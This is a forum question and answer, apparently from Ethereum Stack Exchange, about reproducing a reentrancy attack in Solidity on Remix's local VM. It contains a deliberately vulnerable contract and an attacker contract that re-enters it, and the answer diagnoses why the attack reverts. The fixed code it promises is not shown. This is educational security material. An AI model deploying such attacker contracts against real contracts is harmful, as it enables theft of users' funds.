hi i was trying to replicate reentracy attack that can exploit etherum contract
Below is the code
pragma solidity ^0.4.19;
contract Mutex {
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
function Mutex() public payable {
locked=false;
}
function canBeAttacked() public returns (uint) {
require(msg.sender.call.value(1 ether)());
return 7;
}
/// This function is protected by a mutex
function f() public noReentrancy returns (uint) {
require(msg.sender.call());
return 7;
}
}
contract attacker{
bool again=false;
function attacker() public {
}
function() public payable{
if(!again){
again=true;
Mutex(msg.sender).canBeAttacked();
}
}
function payment(Mutex mutex) public {
mutex.canBeAttacked();
}
}
But when ever i click call payment method of attacker contract (Deployed on Virtual VM java script on remix) i get the following error
transact to attacker.payment errored: VM error: revert.
revert The transaction has been reverted to the initial state.
Note: The constructor should be payable if you send value. Debug the transaction to get more information.
What is wrong with this code?
Best Answer
Two issues that I can spot without actually running the code:
attacker
isn'tpayable
, so it will revert when called byMutex
.Mutex
, so this is an infinite recursive loop. EitherMutex
will run out of ether or the transaction will run out of gas. Either way, therequire(msg.sender.call...)
line inMutex
will revert.EDIT
Fixed code below. (I added a
getBalance
function just to make it easy in Remix to verify that things worked.)